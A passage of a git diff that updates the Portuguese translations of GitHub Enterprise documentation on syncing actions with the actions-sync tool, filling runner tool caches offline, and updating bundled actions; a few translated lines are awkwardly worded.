+A abordagem recomendada de habilitar o acesso a ações a partir de {% data variables.product.prodname_dotcom_the_website %} é permitir o acesso automático para todas as ações. Você pode fazer isso usando {% data variables.product.prodname_github_connect %} para integrar {% data variables.product.product_name %} com {% data variables.product.prodname_ghe_cloud %}. Para obter mais informações, consulte "[Habilitar o acesso automático às ações de {% data variables.product.prodname_dotcom_the_website %} usando o {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)".
 
-However, if you want stricter control over which actions are allowed in your enterprise, you{% else %}You{% endif %} can follow this guide to use {% data variables.product.company_short %}'s open source [`actions-sync`](https://github.com/actions/actions-sync) tool to sync individual action repositories from {% data variables.product.prodname_dotcom_the_website %} to your enterprise.
+No entanto, se você quiser um controle mais rigoroso sobre quais as ações são permitidas na sua empresa, você{% else %}Você{% endif %} poderá seguir este guia para usar a ferramenta de código aberto de {% data variables.product.company_short %} [`ação-sincronização`](https://github.com/actions/actions-sync) para sincronizar repositórios de ações individuais de {% data variables.product.prodname_dotcom_the_website %} para a sua empresa.
 
-## About the `actions-sync` tool
+## Sobre a ferramenta `actions-sync`
 
-The `actions-sync` tool must be run on a machine that can access the {% data variables.product.prodname_dotcom_the_website %} API and your {% data variables.product.product_name %} instance's API. The machine doesn't need to be connected to both at the same time.
+A ferramenta `actions-sync` deve ser executada em uma máquina que pode acessar a API de {% data variables.product.prodname_dotcom_the_website %} e sua API da instância do {% data variables.product.product_name %}. A máquina não precisa estar conectada a ambos ao mesmo tempo.
 
-If your machine has access to both systems at the same time, you can do the sync with a single `actions-sync sync` command. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands.
+Se sua máquina tiver acesso aos dois sistemas ao mesmo tempo, você poderá fazer a sincronização com um único comando de `actions-sync`. Se você só puder acessar um sistema de cada vez, pode usar os comandos `actions-sync pull` e `push`.
 
-The `actions-sync` tool can only download actions from {% data variables.product.prodname_dotcom_the_website %} that are stored in public repositories.
+A ferramenta `actions-sync` só pode fazer download de ações de {% data variables.product.prodname_dotcom_the_website %} armazenadas em repositórios públicos.
 
 {% ifversion ghes > 3.2 or ghae-issue-4815 %}
 {% note %}
 
-**Note:** The `actions-sync` tool is intended for use in systems where {% data variables.product.prodname_github_connect %} is not enabled. If you run the tool on a system with {% data variables.product.prodname_github_connect %} enabled, you may see the error `The repository <repo_name> has been retired and cannot be reused`. This indicates that a workflow has used that action directly on {% data variables.product.prodname_dotcom_the_website %} and the namespace is retired on {% data variables.product.product_location %}. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." 
+**Observação:** A ferramenta `actions-sync` destina-se a ser usada em sistemas em que {% data variables.product.prodname_github_connect %} não está habilitado. Se você executar a ferramenta em um sistema com {% data variables.product.prodname_github_connect %} habilitado, você poderá ver o erro `O repositório <repo_name> foi desativado e não pode ser reutilizado`. Isso indica que um fluxo de trabalho usou essa ação diretamente em {% data variables.product.prodname_dotcom_the_website %} e o namespace está desativado em {% data variables.product.product_location %}. Para obter mais informações, consulte "[Desativação automática de namespaces para ações acessadas em {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)".
 
 {% endnote %}
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-* Before using the `actions-sync` tool, you must ensure that all destination organizations already exist in your enterprise. The following example demonstrates how to sync actions to an organization named `synced-actions`. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
-* You must create a personal access token (PAT) on your enterprise that can create and write to repositories in the destination organizations. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion ghes %}
-* If you want to sync the bundled actions in the `actions` organization on {% data variables.product.product_location %}, you must be an owner of the `actions` organization.
+* Antes de usar a ferramenta `actions-sync`, você deve garantir que todas as organizações de destino existem na sua empresa. O exemplo a seguir demonstra como sincronizar ações com uma organização com o nome de `synced-actions`. Para obter mais informações, consulte "[Criar uma nova organização do zero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
+* Você deve criar um token de acesso pessoal (PAT) na sua empresa que pode criar e gravar em repositórios nas organizações de destino. Para obter mais informações, consulte[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion ghes %}
+* Se você deseja sincronizar as ações empacotadas na organização das `ações` em {% data variables.product.product_location %}, você deverá ser proprietário da organização das `ações`.
 
   {% note %}
-  
-  **Note:** By default, even site administrators are not owners of the bundled `actions` organization.
-  
+
+  **Observação:** Por padrão, até os administradores do site não são proprietários das ações agrupadas ``.
+
   {% endnote %}
 
-  Site administrators can use the `ghe-org-admin-promote` command in the administrative shell to promote a user to be an owner of the bundled `actions` organization. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote)."
+  Os administradores dos sites podem usar o comando `ghe-org-admin-promote` no shell administrativo para promover um usuário para ser proprietários da organização das `ações` empacotadas. Para obter mais informações, consulte "[Acessar o shell administrativa (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" e "[`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote)".
 
   ```shell
   ghe-org-admin-promote -u <em>USERNAME</em> -o actions
@@ -61,16 +61,16 @@ The `actions-sync` tool can only download actions from {% data variables.product
 
 ## Example: Using the `actions-sync` tool
 
-This example demonstrates using the `actions-sync` tool to sync an individual action from {% data variables.product.prodname_dotcom_the_website %} to an enterprise instance.
+Este exemplo demonstra o uso da ferramenta `actions-sync` para sincronizar uma ação individual a partir de {% data variables.product.prodname_dotcom_the_website %} para a instância de uma empresa.
 
 {% note %}
 
-**Note:** This example uses the `actions-sync sync` command, which requires concurrent access to both the {% data variables.product.prodname_dotcom_the_website %} API and your enterprise instance's API from your machine. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#not-connected-instances).
+**Observação:** Este exemplo usa o comando `actions-sync sync`, que exige acesso simultâneo à API de {% data variables.product.prodname_dotcom_the_website %} e à API da instância empresarial da sua máquina. Se você puder acessar apenas um sistema de cada vez, você poderá usar os comandos `actions-sync pull` e `push`. Para obter mais informações, consulte [README de `actions-sync`](https://github.com/actions/actions-sync#not-connected-instances).
 
 {% endnote %}
 
-1. Download and extract the latest [`actions-sync` release](https://github.com/actions/actions-sync/releases) for your machine's operating system.
-1. Create a directory to store cache files for the tool.
+1. Faça o download e extraia a versão mais recente [`actions-sync`](https://github.com/actions/actions-sync/releases) para o sistema operacional da sua máquina.
+1. Crie um diretório para armazenar arquivos de cache para a ferramenta.
 1. Run the `actions-sync sync` command:
 
    ```shell
@@ -81,20 +81,20 @@ This example demonstrates using the `actions-sync` tool to sync an individual ac
      --repo-name "actions/stale:synced-actions/actions-stale"
    ```
 
-   The above command uses the following arguments:
+   O comando acima usa os seguintes argumentos:
+
+   * `--cache-dir`: O diretório de cache na máquina que está executando o comando.
+   * `--destination-token`: Um token de acesso pessoal para a instância empresarial de destino.
+   * `--destination-url`: A URL da instância empresarial de destino.
+   * `--repo-name`: O repositório da ação a ser sincronizado. Ele aceita o formato de `owner/repository:destination_owner/destination_repository`.
+
+     * O exemplo acima sincroniza o repositório [`actions/stale`](https://github.com/actions/stale) com o repositório `synced-actions/actions-stale` na instância corporativa de destino. Você deve criar a organização denominada `synced-actions` na sua empresa antes de executar o comando acima.
+     * Se você omitir `:destination_owner/destination_repository`, a ferramenta usará o proprietário original e o nome do repositório para a sua empresa. Antes de executar o comando, você deve criar uma nova organização em sua empresa que corresponda ao nome da ação do proprietário. Considere usar uma organização central para armazenar as ações sincronizadas na sua empresa, uma vez que isso significa que você não precisará criar várias novas organizações se sincronizar ações de diferentes proprietários.
+     * Você pode sincronizar várias ações substituindo o parâmetro `--repo-name` por `--repo-name-list` ou `--repo-name-list-file`. Para obter mais informações, consulte o README de [`actions-sync`](https://github.com/actions/actions-sync#actions-sync).
+1. Depois que o repositório de ação for criado na sua empresa, as pessoas da sua empresa poderão usar o repositório de destino para fazer referência à ação nos fluxos de trabalho. Para o exemplo da ação mostrado acima:
 
-   * `--cache-dir`: The cache directory on the machine running the command.
-   * `--destination-token`: A personal access token for the destination enterprise instance.
-   * `--destination-url`: The URL of the destination enterprise instance.
-   * `--repo-name`: The action repository to sync. This takes the format of `owner/repository:destination_owner/destination_repository`.
-     
-     * The above example syncs the [`actions/stale`](https://github.com/actions/stale) repository to the `synced-actions/actions-stale` repository on the destination enterprise instance. You must create the organization named `synced-actions` in your enterprise before running the above command.
-     * If you omit `:destination_owner/destination_repository`, the tool uses the original owner and repository name for your enterprise. Before running the command, you must create a new organization in your enterprise that matches the owner name of the action. Consider using a central organization to store the synced actions in your enterprise, as this means you will not need to create multiple new organizations if you sync actions from different owners.
-     * You can sync multiple actions by replacing the `--repo-name` parameter with `--repo-name-list` or `--repo-name-list-file`. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#actions-sync).
-1. After the action repository is created in your enterprise, people in your enterprise can use the destination repository to reference the action in their workflows. For the example action shown above:
-   
    ```yaml
    uses: synced-actions/actions-stale@v1
    ```
 
-   For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses)."
+   Para obter mais informações, consulte "[Sintaxe do fluxo de trabalho para o GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses)".
diff --git a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
index 13089317ad..b61e9183ed 100644
--- a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
+++ b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up the tool cache on self-hosted runners without internet access
-intro: 'To use the included `actions/setup` actions on self-hosted runners without internet access, you must first populate the runner''s tool cache for your workflows.'
+title: Configurar o cache de ferramentas em executores auto-hospedados sem acesso à internet
+intro: 'Para usar as ações `actions/setup` incluídas em executores auto-hospedados sem acesso à internet, você deve primeiro preencher o cache de ferramentas do executor para seus fluxos de trabalho.'
 redirect_from:
   - /enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
   - /admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
@@ -13,39 +13,40 @@ topics:
   - Enterprise
   - Networking
   - Storage
-shortTitle: Tool cache for offline runners
+shortTitle: Cache de ferramentas para executores off-line
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About the included setup actions and the runner tool cache
+## Sobre as ações de configuração incluídas e o cache da ferramenta do executor
 
 {% data reusables.actions.enterprise-no-internet-actions %}
 
-Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.product_name %}. However, self-hosted runners without internet access require some configuration before they can use the included `actions/setup-LANGUAGE` actions, such as `setup-node`.
+As maioria das oficiais de autoria de {% data variables.product.prodname_dotcom %}mais são automaticamente agrupadas com {% data variables.product.product_name %}. No entanto, os executores auto-hospedados sem acesso à internet precisarão de alguma configuração antes de poder usar as ações `actions/setup-LANGUAGE` inclusas como, por exemplo, `setup-node`.
 
-The `actions/setup-LANGUAGE` actions normally need internet access to download the required environment binaries into the runner's tool cache. Self-hosted runners without internet access can't download the binaries, so you must manually populate the tool cache on the runner.
+As ações `actions/setup-LANGUAGE` normalmente precisam de acesso à internet para fazer o download os binários do ambiente necessário para o cache de ferramentas do executor. Os executores auto-hospedados sem acesso à internet não podem fazer o download dos binários. Portanto, você deve preencher manualmente o cache de ferramentas no executor.
 
-You can populate the runner tool cache by running a {% data variables.product.prodname_actions %} workflow on {% data variables.product.prodname_dotcom_the_website %} that uploads a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache as an artifact, which you can then transfer and extract on your internet-disconnected self-hosted runner.
+Você pode preencher o cache da ferramenta do executor, executando um fluxo de trabalho de {% data variables.product.prodname_actions %} no {% data variables.product.prodname_dotcom_the_website %} que faz o upload de um cache de ferramenta do executor hospedado em {% data variables.product.prodname_dotcom %} como um artefato, que você pode transferir e extrair no seu executor auto-hospedado sem conexão à internet.
 
 {% note %}
 
-**Note:** You can only use a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache for a self-hosted runner that has an identical operating system and architecture. For example, if you are using a `ubuntu-18.04` {% data variables.product.prodname_dotcom %}-hosted runner to generate a tool cache, your self-hosted runner must be a 64-bit Ubuntu 18.04 machine. For more information on {% data variables.product.prodname_dotcom %}-hosted runners, see "<a href="/actions/reference/virtual-environments-for-github-hosted-runners#supported-runners-and-hardware-resources" class="dotcom-only">Virtual environments for GitHub-hosted runners</a>."
+**Observação:** Você só pode usar um cache de ferramenta do executor hospedado em {% data variables.product.prodname_dotcom %} para um executor auto-hospedado que possua um sistema operacional e arquitetura idênticos. Por exemplo, se você estiver usando uma `ubuntu-18. 4` do executor hospedado em {% data variables.product.prodname_dotcom %} para gerar um cache de ferramentas, seu executor auto-hospedado deverá ser uma máquina Ubuntu 18.04 de 64 bits. Para mais informações sobre executores hospedados no {% data variables.product.prodname_dotcom %}, consulte "<a href="/actions/reference/virtual-environments-for-github-hosted-runners#supported-runners-and-hardware-resources" class="dotcom-only">Ambientes virtuais para executores hospedados no GitHub</a>".
 
 {% endnote %}
 
-## Prerequisites
+## Pré-requisitos
 
-* Determine which development environments your self-hosted runners will need. The following example demonstrates how to populate a tool cache for the `setup-node` action, using Node.js versions 10 and 12.
-* Access to a repository on {% data variables.product.prodname_dotcom_the_website %} that you can use to run a workflow.
-* Access to your self-hosted runner's file system to populate the tool cache folder.
+* Determinar quais ambientes de desenvolvimento seus executores auto-hospedados precisarão. O exemplo a seguir demonstra como preencher um cache de ferramentas para a ação `setup-node`, usando as versões 10 e 12 do Node.js.
+* Acesso a um repositório no {% data variables.product.prodname_dotcom_the_website %} que pode ser usado para executar um fluxo de trabalho.
+* Acesso ao sistema de arquivos do executor auto-hospedado para preencher a pasta de cache da ferramenta.
 
-## Populating the tool cache for a self-hosted runner
+## Preencher o cache de ferramentas para um executor auto-hospedado
 
-1. On {% data variables.product.prodname_dotcom_the_website %}, navigate to a repository that you can use to run a {% data variables.product.prodname_actions %} workflow.
-1. Create a new workflow file in the repository's `.github/workflows` folder that uploads an artifact containing the {% data variables.product.prodname_dotcom %}-hosted runner's tool cache.
+1. Em {% data variables.product.prodname_dotcom_the_website %}, acesse um repositório que você pode usar para executar um fluxo de trabalho de {% data variables.product.prodname_actions %}.
+1. Crie um novo arquivo de fluxo de trabalho na pasta `.github/workflows` do repositório que faz o upload de um artefato que contém o cache da ferramenta do executor armazenado em {% data variables.product.prodname_dotcom %}.
 
-   The following example demonstrates a workflow that uploads the tool cache for an Ubuntu 18.04 environment, using the `setup-node` action with Node.js versions 10 and 12.
+   O exemplo a seguir demonstra um fluxo de trabalho que faz o upload do cache da ferramenta para um ambiente do Ubuntu 18.04, usando a ação `setup-node` com as versões 10 e 12 do Node.js.
 
    {% raw %}
    ```yaml
@@ -77,10 +78,10 @@ You can populate the runner tool cache by running a {% data variables.product.pr
              path: ${{runner.tool_cache}}/tool_cache.tar.gz
    ```
    {% endraw %}
-1. Download the tool cache artifact from the workflow run. For instructions on downloading artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)."
-1. Transfer the tool cache artifact to your self hosted runner and extract it to the local tool cache directory. The default tool cache directory is `RUNNER_DIR/_work/_tool`. If the runner hasn't processed any jobs yet, you might need to create the `_work/_tool` directories.
+1. Faça o download do artefato do cache da ferramenta da execução do fluxo de trabalho. Para obter instruções sobre o download de artefatos, consulte "[Fazer download de artefatos de fluxo de trabalho](/actions/managing-workflow-runs/downloading-workflow-artifacts)".
+1. Transfira o artefato de cache das ferramentas para o seu executor hospedado e extraia-o para o diretório de cache das ferramentas locais. O diretório de cache da ferramenta padrão é `RUNNER_DIR/_work/_tool`. Se o executor ainda não processou nenhum trabalho, você pode precisar criar os diretórios `_work/_tool`.
 
-    After extracting the tool cache artifact uploaded in the above example, you should have a directory structure on your self-hosted runner that is similar to the following example:
+    Após extrair o artefato de cache da ferramenta carregado no exemplo acima, você deve ter uma estrutura de diretório no seu executor auto-hospedado semelhante ao exemplo a seguir:
 
     ```
     RUNNER_DIR
@@ -95,4 +96,4 @@ You can populate the runner tool cache by running a {% data variables.product.pr
                     └── ...
     ```
 
-Your self-hosted runner without internet access should now be able to use the `setup-node` action. If you are having problems, make sure that you have populated the correct tool cache for your workflows. For example, if you need to use the `setup-python` action, you will need to populate the tool cache with the Python environment you want to use.
+O seu executor auto-hospedado sem acesso à internet agora deve ser capaz de usar a ação `setup-node`. Se você tiver problemas, certifique-se de ter preenchido o cache da ferramentas correto para seus fluxos de trabalho. Por exemplo, se você precisar usar a ação `setup-python`, você deverá preencher o cache de ferramentas com o ambiente do Python que deseja usar.
diff --git a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md
index 08e4a772d2..ea3b662795 100644
--- a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md
+++ b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Using the latest version of the official bundled actions
-intro: 'You can update the actions that are bundled with your enterprise, or use actions directly from {% data variables.product.prodname_dotcom_the_website %}.'
+title: Usar a versão mais recente das ações agrupadas oficialmente
+intro: 'Você pode atualizar as ações que estão empacotadas com a sua empresa ou usar ações diretamente a partir de {% data variables.product.prodname_dotcom_the_website %}.'
 versions:
   ghes: '*'
   ghae: '*'
@@ -11,46 +11,41 @@ topics:
   - GitHub Connect
 redirect_from:
   - /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions
-shortTitle: Use the latest bundled actions
+shortTitle: Use as últimas ações empacotadas
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Your enterprise instance includes a number of built-in actions that you can use in your workflows. For more information about the bundled actions, see "[Official actions bundled with your enterprise instance](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)."
+A instância da sua empresa inclui uma série de ações integradas que podem ser usadas nos seus fluxos de trabalho. Para obter mais informações sobre as ações agrupadas, consulte "[Ações oficiais agrupadas com a sua instância corporativa](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)".
 
-These bundled actions are a point-in-time snapshot of the official actions found at https://github.com/actions, so there may be newer versions of these actions available. You can use the `actions-sync` tool to update these actions, or you can configure {% data variables.product.prodname_github_connect %} to allow access to the latest actions on {% data variables.product.prodname_dotcom_the_website %}. These options are described in the following sections.
+Essas ações empacotadas são um instantâneo no momento das ações oficiais encontradas em https://github.com/actions. Portanto, pode haver versões mais recentes dessas ações disponíveis. Você pode usar a ferramenta de `actions-sync` para atualizar essas ações ou você pode configurar {% data variables.product.prodname_github_connect %} para permitir o acesso às últimas ações em {% data variables.product.prodname_dotcom_the_website %}. Estas opções são descritas nas seguintes seções.
 
-## Using `actions-sync` to update the bundled actions
+## Usar `actions-sync` para atualizar as ações empacotadas
 
-To update the bundled actions, you can use the `actions-sync` tool to update the snapshot. For more information on using `actions-sync`, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)."
+Para atualizar as ações agrupadas, você pode usar a ferramenta `actions-sync` para atualizar o instantâneo. Para obter mais informações sobre como usar `actions-sync`, consulte "[Sincronizar as ações manualmente de {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)".
 
-## Using {% data variables.product.prodname_github_connect %} to access the latest actions
+## Usar {% data variables.product.prodname_github_connect %} para acessar as últimas ações
 
-You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.product_name %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)."
+Você pode usar {% data variables.product.prodname_github_connect %} para permitir que {% data variables.product.product_name %} use ações a partir do {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte "[Habilitar o acesso automático às ações de {% data variables.product.prodname_dotcom_the_website %} usando o {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)".
 
-Once {% data variables.product.prodname_github_connect %} is configured, you can use the latest version of an action by deleting its local repository in the `actions` organization on your instance. For example, if your enterprise instance is using the `actions/checkout@v1` action, and you need to use `actions/checkout@v2` which isn't available on your enterprise instance, perform the following steps to be able to use the latest `checkout` action from {% data variables.product.prodname_dotcom_the_website %}:
+Uma vez configurado {% data variables.product.prodname_github_connect %}, você poderá usar a última versão de uma ação, excluindo seu repositório local nas `ações` da organização na sua instância. Por exemplo, se a instância corporativa estiver usando a ação `actions/checkout@v1`, e você precisar usar `actions/checkout@v2` que não estão disponíveis na sua instância corporativa, por exemplo, siga as etapas a seguir para poder usar a última ação de `checkout` de {% data variables.product.prodname_dotcom_the_website %}:
 
-1. From an enterprise owner account on {% data variables.product.product_name %}, navigate to the repository you want to delete from the *actions* organization (in this example `checkout`).
-1. By default, site administrators are not owners of the bundled *actions* organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="The rocket ship" %} in the upper-right corner of any page in that repository.
-  ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
-1. Click {% octicon "shield-lock" %} **Security** to see the security overview for the repository.
-  ![Security header the repository](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png)
-1. Under "Privileged access", click **Unlock**.
-  ![Unlock button](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png)
-1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**.
-  ![Confirmation dialog](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png)
-1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page.
-  ![Repository name link](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png)
-1. Under "Repository info", click **View code** to leave the site admin pages and display the `checkout` repository.
-1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)."
-  ![View code link](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png)
-1. Configure your workflow's YAML to use `actions/checkout@v2`.
-1. Each time your workflow runs, the runner will use the `v2` version of `actions/checkout` from {% data variables.product.prodname_dotcom_the_website %}.
+1. Em uma conta de proprietário corporativo em {% data variables.product.product_name %}, acesse o repositório que você deseja excluir da organização *ações* (neste exemplo `checkout`).
+1. Por padrão, os administradores do site não são proprietários da organização de *ações* agrupadas. Para obter o acesso necessário para excluir o repositório de `checkout`, você deve usar as ferramentas de administrador do site. Clique em {% octicon "rocket" aria-label="The rocket ship" %} no canto superior direito de qualquer página do repositório. ![Ícone de foguete para acessar as configurações de administrador do site](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+1. Clique em {% octicon "shield-lock" %} **Segurança** para ver a visão geral de segurança do repositório. ![Cabeçalho de segurança do repositório](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png)
+1. Em "Privilégio de acesso", clique em **Desbloquear**. ![Botão Desbloquear](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png)
+1. Em **Motivo**, digite um motivo para desbloquear o repositório e depois clique em **Desbloquear**. ![Diálogo de confirmação](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png)
+1. Agora que o repositório está desbloqueado, você pode sair das páginas de administrador do site e excluir o repositório dentro das `ações da organização`. Na parte superior da página, clique no nome do repositório, neste exemplo **check-out**, para retornar à página de resumo. ![Link para nome do repositório](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png)
+1. Em "Informações do repositório", clique em **Ver código** para sair das páginas de administração do site e exibir o repositório `check-out`.
+1. Exclua o repositório do `check-out` dentro organização das `ações`. Para obter informações sobre como excluir um repositório, consulte "[Excluir um repositório](/github/administering-a-repository/deleting-a-repository)". ![Ver link de código](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png)
+1. Configure o YAML do seu fluxo de trabalho para usar `ações/checkout@v2`.
+1. Cada vez que o seu fluxo de trabalho é executado, o executor usará a versão `v2` de `actions/checkout` de {% data variables.product.prodname_dotcom_the_website %}.
 
    {% ifversion ghes > 3.2 or ghae-issue-4815 %}
    {% note %}
 
-   **Note:** The first time the `checkout` action is used from {% data variables.product.prodname_dotcom_the_website %}, the `actions/checkout` namespace is automatically retired on {% data variables.product.product_location %}. If you ever want to revert to using a local copy of the action, you first need to remove the namespace from retirement. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)."
+   **Nota:** A primeira vez que a ação `checkout` é usada a partir de {% data variables.product.prodname_dotcom_the_website %}, o namespace `actions/check-` é automaticamente desativado em {% data variables.product.product_location %}. Se você quiser reverter para uma cópia local da ação, primeiro você precisará remover o namespace da desativação. Para obter mais informações, consulte "[Desativação automática de namespaces para ações acessadas em {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)".
 
    {% endnote %}
    {% endif %}
diff --git a/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/index.md b/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/index.md
index ed67e364c7..85a628532e 100644
--- a/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/index.md
+++ b/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/index.md
@@ -1,10 +1,10 @@
 ---
-title: Using GitHub Actions in GitHub AE
-intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}.'
+title: Usar o GitHub Actions no GitHub AE
+intro: 'Aprenda como configurar {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_managed %}.'
 versions:
   ghae: '*'
 children:
   - /using-actions-in-github-ae
-shortTitle: Use Actions in GitHub AE
+shortTitle: Usar Ações no GitHub AE
 ---
 
diff --git a/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md b/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
index 5228957db1..453c682428 100644
--- a/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
+++ b/translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
@@ -1,6 +1,6 @@
 ---
-title: Using actions in GitHub AE
-intro: '{% data variables.product.prodname_ghe_managed %} includes most of the {% data variables.product.prodname_dotcom %}-authored actions.'
+title: Usar ações no GitHub AE
+intro: '{% data variables.product.prodname_ghe_managed %} inclui a maioria das ações de autoria de {% data variables.product.prodname_dotcom %}.'
 versions:
   ghae: '*'
 type: how_to
@@ -9,18 +9,18 @@ topics:
   - Enterprise
 redirect_from:
   - /admin/github-actions/using-actions-in-github-ae
-shortTitle: Use actions
+shortTitle: Usar ações
 ---
 
 
-{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.
+Os fluxos de trabalho de {% data variables.product.prodname_actions %} podem usar _ações_, que são tarefas individuais que você pode combinar para criar tarefas e personalizar seu fluxo de trabalho. Você pode criar suas próprias ações ou usar e personalizar ações compartilhadas pela comunidade {% data variables.product.prodname_dotcom %}.
 
-## Official actions bundled with {% data variables.product.prodname_ghe_managed %}
+## Ações oficiais agrupadas com {% data variables.product.prodname_ghe_managed %}
 
-Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.prodname_ghe_managed %}, and are captured at a point in time from {% data variables.product.prodname_marketplace %}. When your {% data variables.product.prodname_ghe_managed %} instance is updated, the bundled official actions are also updated.
